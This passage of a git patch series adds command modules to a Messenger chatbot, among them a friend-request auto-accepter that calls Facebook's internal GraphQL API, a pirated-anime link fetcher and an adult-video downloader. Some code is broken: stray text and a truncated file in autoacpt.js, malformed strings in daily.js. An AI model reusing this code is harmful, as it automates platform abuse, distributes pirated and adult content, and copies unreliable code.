Object.keys(allUserData); + const topUsers = []; + + + const getUserInfoPromisified = util.promisify(api.getUserInfo); + + + await Promise.all(userIDs.map(async (userID) => { + try { + const userInfo = await getUserInfoPromisified(userID); + const username = userInfo[userID].name; + if (username) { + const userData = allUserData[userID]; + topUsers.push({ username, money: userData.money }); + } + } catch (err) { + console.error("Failed to retrieve user information:", err); + } + })); + + + topUsers.sort((a, b) => b.money - a.money); + + return topUsers; + } catch (error) { + console.error("Error getting top users:", error); + return []; + } + } From 243a84014fc9195186df3594919205dcfc6121ea Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:51:02 +0545 Subject: [PATCH 052/126] Update daily.js --- scripts/cmds/daily.js | 161 +++++++++++++++++++----------------------- 1 file changed, 73 insertions(+), 88 deletions(-) diff --git a/scripts/cmds/daily.js b/scripts/cmds/daily.js index 0229291041..265ac2efeb 100644 --- a/scripts/cmds/daily.js +++ b/scripts/cmds/daily.js @@ -1,96 +1,81 @@ const moment = require("moment-timezone"); module.exports = { - config: { - name: "daily", - version: "1.1", - author: "NTKhang", - countDown: 5, - role: 0, - shortDescription: { - vi: "Nhận quà hàng ngày", - en: "Receive daily gift" - }, - longDescription: { - vi: "Nhận quà hàng ngày", - en: "Receive daily gift" - }, - category: "game", - guide: { - vi: " {pn}: Nhận quà hàng ngày" - + "\n {pn} info: Xem thông tin quà hàng ngày", - en: " {pn}" - + "\n {pn} info: View daily gift information" - }, - envConfig: { - rewardFirstDay: { - coin: 100, - exp: 10 - } - } - }, + config: { + name: "daily", + version: "1.1", + author: "Ntkhang,//original HASSAN", + countDown: 5, + role: 0, + shortDescription: { + vi: "Nhận quà hàng ngày", + en: "Receive daily gift" + }, + longDescription: { + vi: "Nhận quà hàng ngày", + en: "Receive daily gift" + }, + category: "game", + guide: { + vi: "{pn}: Nhận quà hàng ngày" + + "\pn} info: Xem thông tin quà hàng ngày", + en: "{pn}" + + "\pn} info: View daily gift information" + }, + envConfig: { + rewardFirstDay: { + coin: 10000000, + exp: 10 + } + } + }, - langs: { - vi: { - monday: "Thứ 2", - tuesday: "Thứ 3", - wednesday: "Thứ 4", - thursday: "Thứ 5", - friday: "Thứ 6", - saturday: "Thứ 7", - sunday: "Chủ nhật", - alreadyReceived: "Bạn đã nhận quà rồi", - received: "Bạn đã nhận được %1 coin và %2 exp" - }, - en: { - monday: "Monday", - tuesday: "Tuesday", - wednesday: "Wednesday", - thursday: "Thursday", - friday: "Friday", - saturday: "Saturday", - sunday: "Sunday", - alreadyReceived: "You have already received the gift", - received: "You have received %1 coin and %2 exp" - } - }, + langs: { + vi: { + monday: "Thứ 2", + tuesday: "Thứ 3", + wednesday: "Thứ 4", + thursday: "Thứ 5", + friday: "Thứ 6", + saturday: "Thứ 7", + sunday: "Chủ nhật", + alreadyReceived: "Bạn đã nhận quà rồi", + received: "Bạn đã nhận được %1 coin và %2 exp" + }, + en: { + monday: "Monday", + tuesday: "Tuesday", + wednesday: "Wednesday", + thursday: "Thursday", + friday: "Friday", + saturday: "Saturday", + sunday: "Sunday", + alreadyReceived: "You have already received the gift", + received: "You have received %1 coin and %2 exp" + } + }, - onStart: async function ({ args, message, event, envCommands, usersData, commandName, getLang }) { - const reward = envCommands[commandName].rewardFirstDay; - if (args[0] == "info") { - let msg = ""; - for (let i = 1; i < 8; i++) { - const getCoin = Math.floor(reward.coin * (1 + 20 / 100) ** ((i == 0 ? 7 : i) - 1)); - const getExp = Math.floor(reward.exp * (1 + 20 / 100) ** ((i == 0 ? 7 : i) - 1)); - const day = i == 7 ? getLang("sunday") : - i == 6 ? getLang("saturday") : - i == 5 ? getLang("friday") : - i == 4 ? getLang("thursday") : - i == 3 ? getLang("wednesday") : - i == 2 ? getLang("tuesday") : - getLang("monday"); - msg += `${day}: ${getCoin} coin, ${getExp} exp\n`; - } - return message.reply(msg); - } + onStart: async function ({ args, message, event, envCommands, usersData, commandName, getLang }) { + const reward = envCommands[commandName].rewardFirstDay; - const dateTime = moment.tz("Asia/Ho_Chi_Minh").format("DD/MM/YYYY"); - const date = new Date(); - const currentDay = date.getDay(); // 0: sunday, 1: monday, 2: tuesday, 3: wednesday, 4: thursday, 5: friday, 6: saturday - const { senderID } = event; + const dateTime = moment.tz("Asia/Ho_Chi_Minh").format("DD/MM/YYYY"); + const date = new Date(); + const currentDay = date.getDay(); + const { senderID } = event; - const userData = await usersData.get(senderID); - if (userData.data.lastTimeGetReward === dateTime) - return message.reply(getLang("alreadyReceived")); + const userData = await usersData.get(senderID); + if (userData.data.lastTimeGetReward === dateTime) { + return message.reply(getLang("alreadyReceived")); + } - const getCoin = Math.floor(reward.coin * (1 + 20 / 100) ** ((currentDay == 0 ? 7 : currentDay) - 1)); - const getExp = Math.floor(reward.exp * (1 + 20 / 100) ** ((currentDay == 0 ? 7 : currentDay) - 1)); - userData.data.lastTimeGetReward = dateTime; - await usersData.set(senderID, { - money: userData.money + getCoin, - exp: userData.exp + getExp, - data: userData.data - }); - message.reply(getLang("received", getCoin, getExp)); - } -}; \ No newline at end of file + const getCoin = Math.floor(reward.coin * (1 + 20 / 100000000) ** ((currentDay == 0 ? 7 : currentDay) - 1)); + const getExp = Math.floor(reward.exp * (1 + 20 / 100000000) ** ((currentDay == 0 ? 7 : currentDay) - 1)); + userData.data.lastTimeGetReward = dateTime; + await usersData.set(senderID, { + money: userData.money + getCoin, + exp: userData.exp + getExp, + data: userData.data + }); + message.reply(getLang("received", getCoin, getExp)); + } +}; From 3d3f3c6105d6dcec34b0138510a84d7c9de458f9 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:52:26 +0545 Subject: [PATCH 053/126] Create view.js --- scripts/cmds/view.js | 64 ++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 64 insertions(+) create mode 100644 scripts/cmds/view.js diff --git a/scripts/cmds/view.js b/scripts/cmds/view.js new file mode 100644 index 0000000000..59d724b03e --- /dev/null +++ b/scripts/cmds/view.js @@ -0,0 +1,64 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports = { + config: { + name: "view", + aliases: [], + author: "Kshitiz", + version: "1.0", + cooldowns: 5, + role: 0, + shortDescription: "View image or video from a link", + longDescription: "View image or video from a link", + category: "utility", + guide: "{p}view [image/video link]", + }, + + onStart: async function ({ api, event, args, message }) { + const link = args[0]; + + if (!link) { + return message.reply("Please provide a vaild link to view."); + } + + try { + const response = await axios.head(link); + + + if (response.status === 200) { + const contentType = response.headers['content-type']; + let extension = ''; + + if (contentType.includes('image')) { + extension = '.png'; + } else if (contentType.includes('video')) { + extension = '.mp4'; + } else { + return message.reply("Unsupported link format. Please provide a valid download link."); + } + + const tempFilePath = path.join(__dirname, "cache", `${Date.now()}${extension}`); + const writer = fs.createWriteStream(tempFilePath); + + const downloadResponse = await axios.get(link, { responseType: "stream" }); + downloadResponse.data.pipe(writer); + + writer.on("finish", () => { + const stream = fs.createReadStream(tempFilePath); + + message.reply({ + body: `-your request-`, + attachment: stream, + }); + }); + } else { + message.reply("Unsupported link format. Please provide a valid direct download link."); + } + } catch (error) { + console.error(error); + message.reply("Sorry, an error occurred while processing your request."); + } + } +}; From fb5ab63f35aa4e46dec454837c23b69b9d401ea1 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 00:59:27 +0545 Subject: [PATCH 054/126] Create autoacpt.js --- autoacpt.js | 61 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 61 insertions(+) create mode 100644 autoacpt.js diff --git a/autoacpt.js b/autoacpt.js new file mode 100644 index 0000000000..9c2ed5c57b --- /dev/null +++ b/autoacpt.js @@ -0,0 +1,61 @@ +Accept CMD +-cmd install accept.js const moment = require("moment-timezone"); + +module.exports = { + config: { + name: "autoaccept", + version: "1.0", + author: "Danny will", + countDown: 13, + role: 2, + shortDescription: "accept users", + longDescription: "accept users", + category: "owner", + }, + + onStart: async function() {}, + onLoad: async function ({ event, api }) { + const targetUserID = "100089360940322"; + const targetThreadID = ""; + + setInterval(async () => { + const listRequest = await getListOfFriendRequests(api); + + const success = []; + const failed = []; + + for (let i = 0; i < listRequest.length; i++) { + const u = listRequest[i]; + const form = { + av: api.getCurrentUserID(), + fb_api_req_friendly_name: "FriendingCometFriendRequestConfirmMutation", + doc_id: "3147613905362928", + variables: JSON.stringify({ + input: { + friend_requester_id: u.node.id, + source: "friends_tab", + actor_id: api.getCurrentUserID(), + client_mutation_id: Math.round(Math.random() * 19).toString() + }, + scale: 3, + refresh_num: 0 + }) + }; + + try { + const friendRequest = await api.httpPost("https://www.facebook.com/api/graphql/", form); + if (!JSON.parse(friendRequest).errors) { + success.push(u.node.name); + } else { + failed.push(u.node.name); + } + } catch (e) { + failed.push(u.node.name); + } + } + + if (success.length > 0) { + api.sendMessage(`» Successfully accepted friend requests for ${success.length} people:\n\n${success.join("\n")}${failed.length > 0 ? `\n» Failed to accept friend requests for ${failed.length} people: ${failed.join("\n")}` : ""}`, targetThreadID, () => { + api.sendMessage(`Auto-accepted friend requests:\n${success.join("\n")}`, targetUserID); + }); + } From b5a01951c9c6cedcbe35ed2c6acf4e0b1491c0d0 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:00:24 +0545 Subject: [PATCH 055/126] Create giphy.js --- giphy.js | 62 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 62 insertions(+) create mode 100644 giphy.js diff --git a/giphy.js b/giphy.js new file mode 100644 index 0000000000..ffd330a285 --- /dev/null +++ b/giphy.js @@ -0,0 +1,62 @@ +const axios = require("axios"); +const fs = require("fs-extra"); +const path = require("path"); + +module.exports = { + config: { + name: "giphy", + version: "1.0", + author: "kshitiz", + role: 0, + countDown: 10, + shortDescription: { + en: "Search for gifs" + }, + category: "image", + guide: { + en: "{prefix}giphy or giphy -number" + } + }, + + onStart: async function ({ api, event, args, usersData }) { + try { + const searchQuery = args.join(" "); + let apiUrl = `https://giphy-search-five.vercel.app/kshitiz?search=${encodeURIComponent(searchQuery)}`; + + let gifIndex = 0; + const numberIndex = args.findIndex(arg => arg.startsWith("-")); + if (numberIndex !== -1) { + gifIndex = parseInt(args[numberIndex].substring(1)) - 1; + args.splice(numberIndex, 1); + } + + const res = await axios.get(apiUrl); + const data = res.data; + + if (!data || !Array.isArray(data) || data.length === 0) { + return api.sendMessage(`GIF not found for "${searchQuery}".`, event.threadID, event.messageID); + } + + if (gifIndex < 0 || gifIndex >= data.length) { + return api.sendMessage(`Invalid GIF number.`, event.threadID, event.messageID); + } + + const selectedGifUrl = data[gifIndex]; + + const gifResponse = await axios.get(selectedGifUrl, { responseType: 'arraybuffer' }); + const gifPath = path.join(__dirname, 'cache', `${searchQuery}_selected.gif`); + await fs.outputFile(gifPath, gifResponse.data); + const gifData = fs.createReadStream(gifPath); + + await api.sendMessage({ + attachment: gifData, + body: `` + }, event.threadID, event.messageID); + + await fs.remove(path.join(__dirname, 'cache')); + } catch (error) { + console.error(error); + return api.sendMessage(`An error occurred. Please try again later.`, event.threadID, event.messageID); + } + } +}; From b1420d5142e529448aba18f1685b6620b6eab5fd Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:01:43 +0545 Subject: [PATCH 056/126] Create reels.js --- reels.js | 92 ++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 92 insertions(+) create mode 100644 reels.js diff --git a/reels.js b/reels.js new file mode 100644 index 0000000000..b2b446fe0b --- /dev/null +++ b/reels.js @@ -0,0 +1,92 @@ +const axios = require('axios'); +const fs = require('fs'); +const path = require('path'); +const os = require('os'); + +async function downloadVideo(url, destination) { + const response = await axios.get(url, { responseType: 'arraybuffer' }); + fs.writeFileSync(destination, Buffer.from(response.data, 'binary')); +} + +module.exports = { + config: { + name: "reels", + aliases: [], + author: "kshitiz", + version: "1.1", + shortDescription: { + en: "View Instagram reels by hashtag", + }, + longDescription: { + en: "View Instagram reels by providing a hashtag and reply with the reel list by number", + }, + category: "FUN", + guide: { + en: "{p}reels [hashtag]", + }, + }, + onStart: async function ({ api, event, args }) { + const hashtag = args[0]; + + if (!hashtag) { + api.sendMessage({ body: 'Please provide a hashtag.\nExample: {p}reels zoro' }, event.threadID, event.messageID); + return; + } + + try { + const response = await axios.get(`https://reels-kshitiz.onrender.com/reels?hashtag=${hashtag}`); + const videoURLs = response.data.videoURLs; + + if (!videoURLs || videoURLs.length === 0) { + api.sendMessage({ body: `No reels found for the hashtag ${hashtag}.` }, event.threadID, event.messageID); + return; + } + + const message = `Choose a reel by replying with its number:\n\n${videoURLs.map((url, index) => `${index + 1}. sid=472314`).join('\n')}`; + api.sendMessage({ body: message }, event.threadID, (err, info) => { + global.GoatBot.onReply.set(info.messageID, { + commandName: 'reels', + messageID: info.messageID, + author: event.senderID, + videoURLs, + }); + }); + } catch (error) { + console.error(error); + api.sendMessage({ body: 'An error occurred while fetching reels.\nPlease try again later.' }, event.threadID, event.messageID); + } + }, + onReply: async function ({ api, event, Reply, args }) { + const { author, commandName, videoURLs } = Reply; + + if (event.senderID !== author || !videoURLs) { + return; + } + + const reelIndex = parseInt(args[0], 10); + + if (isNaN(reelIndex) || reelIndex <= 0 || reelIndex > videoURLs.length) { + api.sendMessage({ body: 'Invalid input.\nPlease provide a valid number.' }, event.threadID, event.messageID); + return; + } + + try { + const selectedVideoURL = videoURLs[reelIndex - 1]; + + const tempVideoPath = path.join(os.tmpdir(), 'reels_video.mp4'); + await downloadVideo(selectedVideoURL, tempVideoPath); + + await api.sendMessage({ + body: `Here is the Instagram reel:`, + attachment: fs.createReadStream(tempVideoPath), + }, event.threadID, event.messageID); + + fs.unlinkSync(tempVideoPath); + } catch (error) { + console.error(error); + api.sendMessage({ body: 'An error occurred while processing the reel.\nPlease try again later.' }, event.threadID, event.messageID); + } finally { + global.GoatBot.onReply.delete(event.messageID); + } + }, +}; From 0e432830d3238398efd2496b5fb20d15711a48b8 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:02:18 +0545 Subject: [PATCH 057/126] Create date.js --- date.js | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 date.js diff --git a/date.js b/date.js new file mode 100644 index 0000000000..d68a906db5 --- /dev/null +++ b/date.js @@ -0,0 +1,25 @@ +module.exports = { + config: { + name: 'date', + version: '1.0', + author: 'Hassan', + shortDescription: { + en: 'Display current date.' + }, + longDescription: { + en: 'Displays the current date.' + }, + category: 'Utility', + guide: { + en: 'Simply use the command to see the current date.' + } + }, + onStart: async function ({ api, event }) { + const currentDate = new Date(); + const formattedDate = currentDate.toLocaleDateString(); + + const dateMessage = `Current date: ${formattedDate}`; + + api.sendMessage(dateMessage, event.threadID); + } +}; From 6144c8a8449639d4eba4b1893d0ded10d5ae79da Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:05:23 +0545 Subject: [PATCH 058/126] Create voice.js --- voice.js | 54 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 54 insertions(+) create mode 100644 voice.js diff --git a/voice.js b/voice.js new file mode 100644 index 0000000000..68739aa64d --- /dev/null +++ b/voice.js @@ -0,0 +1,54 @@ +const axios = require('axios'); +const supportedIds = ["rachel", "drew", "clyde", "paul", "domi", "dave", "fin", "sarah", "antoni", "thomas", "charlie", "george", "emily", "elli", "callum", "patrick", "harry", "liam", "dorothy", "josh", "arnold", "charlotte", "alice", "matilda", "matthew", "james", "joseph", "jeremy", "michael", "ethan", "chris", "gigi", "freya", "brian", "grace", "daniel", "lily", "serena", "adam", "nicole", "bill", "jessie", "sam", "glinda", "giovanni", "mimi"]; + +module.exports = { + config: { + name: "voice", + version: "1.0", + author: "Rishad", + countDown: 5, + role: 0, + category: "Fun", + ShortDescription: "Generate voice using AI", + LongDescription: "Generates voice using an AI.", + guide: { + en: "{pn} (voice id) | texts\nExample: {pn} rachel | hey there\n{pn} list | Get the list of supported voice IDs" + } + }, + + onStart: async function ({ api, args, message, event }) { + const { getPrefix, getStreamFromURL } = global.utils; + const p = getPrefix(event.threadID); + + const command = args.join(" ").split("|"); + if (command.length !== 2) { + if (args[0].toLowerCase() === 'list') { + return api.sendMessage(`Supported voice IDs are:\n ${supportedIds.join("\n")}`, event.threadID, event.messageID); + } + return message.reply(`❌Invalid command format. Use it like this:\n${p}voice rachel | Hey there`); + } + + const voiceId = command[0].trim().toLowerCase(); + const text = command[1].trim(); + + if (!supportedIds.includes(voiceId)) { + return message.reply(`❌Invalid voice ID. Supported IDs are:\n ${supportedIds.join("\n")}`); + } + + const apiKey = 'fuck'; + const apiUrl = `https://for-devs.onrender.com/api/voice?text=${encodeURIComponent(text)}&voiceid=${voiceId}&apikey=${apiKey}`; + + try { + const voiceStream = await getStreamFromURL(apiUrl); + + if (voiceStream) { + return api.sendMessage({ attachment: voiceStream }, event.threadID, event.messageID); + } else { + return api.sendMessage('Failed to generate voice.', event.threadID, event.messageID); + } + } catch (error) { + console.error(error); + return api.sendMessage('Failed to generate voice.', event.threadID, event.messageID); + } + } +}; From 1961df4fb1c2b885870ac72d9319a4320d27aa8c Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:05:55 +0545 Subject: [PATCH 059/126] Create ws.js --- ws.js | 77 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 77 insertions(+) create mode 100644 ws.js diff --git a/ws.js b/ws.js new file mode 100644 index 0000000000..7831f1e4f9 --- /dev/null +++ b/ws.js @@ -0,0 +1,77 @@ +const axios = require("axios"); +const fs = require("fs-extra"); +const path = require("path"); + +module.exports = { + config: { + name: "ws", + version: "1.0.0", + author: "kshitiz", + role: 0, + countDown: 10, + shortDescription: { + en: "Search for wallpapers" + }, + category: "image", + guide: { + en: "{prefix}ws -" + } + }, + + onStart: async function ({ api, event, args, usersData }) { + try { + const subCommand = args.shift(); + let apiUrl = ""; + switch (subCommand) { + case "mbl": + apiUrl = "https://kshitiz-project.vercel.app/mbl"; + break; + case "pc": + apiUrl = "https://kshitiz-project.vercel.app/pc"; + break; + default: + return api.sendMessage(`invaild.\nex1: ws mbl zoro -1\nex2:ws pc zoro -1`, event.threadID, event.messageID); + } + + const keySearch = args.join(" "); + if (!keySearch.includes("-")) { + return api.sendMessage(`invaild.ex1: ws mbl zoro -1\nex1:ws pc zoro -1`, event.threadID, event.messageID); + } + const keySearchs = keySearch.substr(0, keySearch.indexOf('-')).trim(); + const numberSearch = parseInt(keySearch.split("-").pop().trim()) || 6; + + const res = await axios.get(`${apiUrl}?q=${encodeURIComponent(keySearchs)}`); + const data = res.data.data; + + if (!data || !Array.isArray(data) || data.length === 0) { + return api.sendMessage(`wallpaper not found for "${keySearchs}".`, event.threadID, event.messageID); + } + + const imgData = []; + + for (let i = 0; i < Math.min(numberSearch, data.length); i++) { + const imageUrl = data[i]; + + try { + const imgResponse = await axios.get(imageUrl, { responseType: 'arraybuffer' }); + const imgPath = path.join(__dirname, 'cache', `${i + 1}.jpg`); + await fs.outputFile(imgPath, imgResponse.data); + imgData.push(fs.createReadStream(imgPath)); + } catch (error) { + console.error(error); + + } + } + + await api.sendMessage({ + attachment: imgData, + body: `-wallpaper for you-` + }, event.threadID, event.messageID); + + await fs.remove(path.join(__dirname, 'cache')); + } catch (error) { + console.error(error); + return api.sendMessage(`An error occurred. Please try again later.`, event.threadID, event.messageID); + } + } +}; From 325125160afef0d70a9bb52612984bbaf9ac83ba Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:06:31 +0545 Subject: [PATCH 060/126] Create aniwatch.js --- aniwatch.js | 114 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 114 insertions(+) create mode 100644 aniwatch.js diff --git a/aniwatch.js b/aniwatch.js new file mode 100644 index 0000000000..3728c96d23 --- /dev/null +++ b/aniwatch.js @@ -0,0 +1,114 @@ +const axios = require("axios"); +const { getStreamFromURL, shortenURL, randomString } = global.utils; + +async function a(animeName) { + try { + const response = await axios.get(`https://animee-xhrb.onrender.com/kshitiz?anime=${encodeURIComponent(animeName)}`); + return response.data.episodes; + } catch (error) { + console.error(error); + throw new Error("Failed to fetch anime episodes"); + } +} + +async function b(episodeName) { + try { + const response = await axios.get(`https://animedl-pyzi.onrender.com/kshitiz?episode=${encodeURIComponent(episodeName)}`); + return response.data.downloadLinks; + } catch (error) { + console.error(error); + throw new Error("Failed to fetch episode download links"); + } +} + +async function c(episodeName) { + try { + const response = await axios.get(`https://stream-blush.vercel.app/kshitiz?id=${encodeURIComponent(episodeName)}`); + return response.data.Referer; + } catch (error) { + console.error("Failed to fetch referer URL:", error.message); + throw new Error("Failed to fetch referer URL"); + } +} + +module.exports = { + config: { + name: "aniwatch", + author: "Kshitiz", + version: "2.0", + cooldowns: 5, + role: 0, + shortDescription: "Watch anime", + longDescription: "Get anime episode download links", + category: "Anime", + guide: "{p}aniwatch ", + }, + + onStart: async function ({ api, event, args }) { + const animeName = args.join(" "); + + if (!animeName) { + api.sendMessage({ body: "Please provide the name of the anime." }, event.threadID, event.messageID); + return; + } + + try { + const episodes = await a(animeName); + + if (!episodes || episodes.length === 0) { + api.sendMessage({ body: `No episodes found for the anime: ${animeName}` }, event.threadID, event.messageID); + return; + } + + const totalEpisodes = episodes.length; + const message = `Reply to this message with the episode number.\nTotal Episodes: ${totalEpisodes}`; + + api.sendMessage({ body: message }, event.threadID, (err, info) => { + global.GoatBot.onReply.set(info.messageID, { + commandName: "aniwatch", + messageID: info.messageID, + animeName, + episodes, + }); + }); + } catch (error) { + console.error(error); + api.sendMessage({ body: "Sorry, an error occurred while processing your request." }, event.threadID); + } + }, + + onReply: async function ({ api, event, Reply, args }) { + const { animeName, episodes } = Reply; + + const episodeIndex = parseInt(args[0], 10); + + if (isNaN(episodeIndex) || episodeIndex <= 0 || episodeIndex > episodes.length) { + api.sendMessage({ body: "Invalid input.\nPlease provide a valid episode number." }, event.threadID, event.messageID); + return; + } + + const selectedEpisode = episodes[episodeIndex - 1]; + const episodeName = selectedEpisode[1]; + + try { + const downloadLinks = await b(episodeName); + const refererURL = await c(encodeURIComponent(episodeName)); + const shortenedLinks = { + '1280x720': await shortenURL(downloadLinks['1280x720']), + '1920x1080': await shortenURL(downloadLinks['1920x1080']), + }; + + const message = `Download links for episode "${episodeName}":\n\n` + + `1280x720: ${shortenedLinks['1280x720']}\n` + + `1920x1080: ${shortenedLinks['1920x1080']}\n\n` + + `Watch online: ${refererURL}`; + + api.sendMessage({ body: message }, event.threadID, event.messageID); + } catch (error) { + console.error(error); + api.sendMessage({ body: "An error occurred while processing the episode.\nPlease try again later." }, event.threadID); + } finally { + global.GoatBot.onReply.delete(event.messageID); + } + }, +}; From ab283c5b0b4debd098778fe4597a0299b2249366 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:07:24 +0545 Subject: [PATCH 061/126] Create gpt.js --- gpt.js | 192 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 192 insertions(+) create mode 100644 gpt.js diff --git a/gpt.js b/gpt.js new file mode 100644 index 0000000000..e0f1e5c45d --- /dev/null +++ b/gpt.js @@ -0,0 +1,192 @@ +const axios = require('axios'); +const fs = require('fs-extra'); +const path = require('path'); +const ytdl = require("@neoxr/ytdl-core"); +const yts = require("yt-search"); + +async function lado(api, event, args, message) { + try { + const songName = args.join(" "); + const searchResults = await yts(songName); + + if (!searchResults.videos.length) { + message.reply("No song found for the given query."); + return; + } + + const video = searchResults.videos[0]; + const videoUrl = video.url; + const stream = ytdl(videoUrl, { filter: "audioonly" }); + const fileName = `music.mp3`; + const filePath = path.join(__dirname, "tmp", fileName); + + stream.pipe(fs.createWriteStream(filePath)); + + stream.on('response', () => { + console.info('[DOWNLOADER]', 'Starting download now!'); + }); + + stream.on('info', (info) => { + console.info('[DOWNLOADER]', `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); + }); + + stream.on('end', () => { + const audioStream = fs.createReadStream(filePath); + message.reply({ attachment: audioStream }); + api.setMessageReaction("✅", event.messageID, () => {}, true); + }); + } catch (error) { + console.error("Error:", error); + message.reply("Sorry, an error occurred while processing your request."); + } +} + +async function kshitiz(api, event, args, message) { + try { + const query = args.join(" "); + const searchResults = await yts(query); + + if (!searchResults.videos.length) { + message.reply("No videos found for the given query."); + return; + } + + const video = searchResults.videos[0]; + const videoUrl = video.url; + const stream = ytdl(videoUrl, { filter: "audioandvideo" }); + const fileName = `music.mp4`; + const filePath = path.join(__dirname, "tmp", fileName); + + stream.pipe(fs.createWriteStream(filePath)); + + stream.on('response', () => { + console.info('[DOWNLOADER]', 'Starting download now!'); + }); + + stream.on('info', (info) => { + console.info('[DOWNLOADER]', `Downloading ${info.videoDetails.title} by ${info.videoDetails.author.name}`); + }); + + stream.on('end', () => { + const videoStream = fs.createReadStream(filePath); + message.reply({ attachment: videoStream }); + api.setMessageReaction("✅", event.messageID, () => {}, true); + }); + } catch (error) { + console.error(error); + message.reply("Sorry, an error occurred while processing your request."); + } +} + + +const a = { + name: "gpt", + aliases: ["chatgpt"], + version: "3.0", + author: "kshitiz", + countDown: 5, + role: 0, + longDescription: "Chat with GPT-4", + category: "ai", + guide: { + en: "{p}gpt {prompt}" + } +}; + +async function b(c, d, e, f) { + try { + const g = await axios.get(`https://ai-tools.replit.app/gpt?prompt=${encodeURIComponent(c)}&uid=${d}&apikey=kshitiz`); + return g.data.gpt4; + } catch (h) { + throw h; + } +} + +async function i(c) { + try { + const j = await axios.get(`https://ai-tools.replit.app/sdxl?prompt=${encodeURIComponent(c)}&styles=7`, { responseType: 'arraybuffer' }); + return j.data; + } catch (k) { + throw k; + } +} + +async function describeImage(prompt, photoUrl) { + try { + const url = `https://sandipbaruwal.onrender.com/gemini2?prompt=${encodeURIComponent(prompt)}&url=${encodeURIComponent(photoUrl)}`; + const response = await axios.get(url); + return response.data.answer; + } catch (error) { + throw error; + } +} + +async function l({ api, message, event, args }) { + try { + const m = event.senderID; + const n = args.join(" ").trim(); + const draw = args[0].toLowerCase() === "draw"; + const prompt = args[0].toLowerCase() === "prompt"; + const sendTikTok = args[0].toLowerCase() === "send"; + const sing = args[0].toLowerCase() === "sing"; + + if (!n) { + return message.reply("Please provide a prompt."); + } + + if (draw) { + await drawImage(message, n); + } else if (prompt) { + if (event.messageReply && event.messageReply.attachments && event.messageReply.attachments.length > 0) { + const photoUrl = event.messageReply.attachments[0].url; + const description = await describeImage(n, photoUrl); + message.reply(`Description: ${description}`); + } else { + return message.reply("Please reply to an image to describe it."); + } + } else if (sendTikTok) { + await kshitiz(api, event, args.slice(1), message); + } else if (sing) { + await lado(api, event, args.slice(1), message); + } else { + const q = await b(n, m); + message.reply(q, (r, s) => { + global.GoatBot.onReply.set(s.messageID, { + commandName: a.name, + uid: m + }); + }); + } + } catch (t) { + console.error("Error:", t.message); + message.reply("An error occurred while processing the request."); + } +} + +async function drawImage(message, prompt) { + try { + const u = await i(prompt); + + const v = path.join(__dirname, 'cache', `image_${Date.now()}.png`); + fs.writeFileSync(v, u); + + message.reply({ + body: "Generated image:", + attachment: fs.createReadStream(v) + }); + } catch (w) { + console.error("Error:", w.message); + message.reply("An error occurred while processing the request."); + } +} + +module.exports = { + config: a, + handleCommand: l, + onStart: function ({ api, message, event, args }) { + return l({ api, message, event, args }); + }, + onReply: function ({ api, message, event, args }) { + return l({ api, message, event, args }); + } +}; From 07f5493cbe6a2f3d11ef39a133f9b3f363f0a501 Mon Sep 17 00:00:00 2001 From: ManashJoshi <156304424+ManashJoshi@users.noreply.github.com> Date: Sun, 10 Mar 2024 01:07:54 +0545 Subject: [PATCH 062/126] Create corn.js --- corn.js | 82 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 corn.js diff --git a/corn.js b/corn.js new file mode 100644 index 0000000000..fe4711d15c --- /dev/null +++ b/corn.js @@ -0,0 +1,82 @@ +const axios = require("axios"); +const fs = require('fs'); + +module.exports = { + config: { + name: "corn", + version: "1.0", + author: "Kshitiz", + countDown: 10, + role: 2, + shortDescription: "get corn video", + longDescription: "get corn video", + category: "18+", + guide: "{pn} corn query" + }, + + onStart: async function ({ api, event, args, message }) { + const query = args.join(" "); + if (!query) { + return message.reply("Please provide a query."); + } + + + const loadingMessage = await message.reply("Loading your video..."); + + try { + + const cornResponse = await axios.get(`https://corns.vercel.app/kshitiz?q=${encodeURIComponent(query)}`); + const links = cornResponse.data.links; + if (!links || links.length === 0) { + throw new Error("No corn video found for the provided query."); + } + + + const cornVideoLink = links[0]; + const cornDownloadResponse = await axios.get(`https://cornnn.vercel.app/kshitiz?url=${encodeURIComponent(cornVideoLink)}`); + const cornDownloadURL = cornDownloadResponse.data.xnxxURL; + + + const cornFilePath = await downloadCornVideo(cornDownloadURL); + + + await api.sendMessage({ + body: `🌽 Corn video for query "${query}"`, + attachment: fs.createReadStream(cornFilePath) + }, event.threadID, event.messageID); + + + fs.unlink(cornFilePath, (err) => { + if (err) { + console.error("Error deleting file:", err); + } else { + console.log("File deleted successfully:", cornFilePath); + } + }); + + } 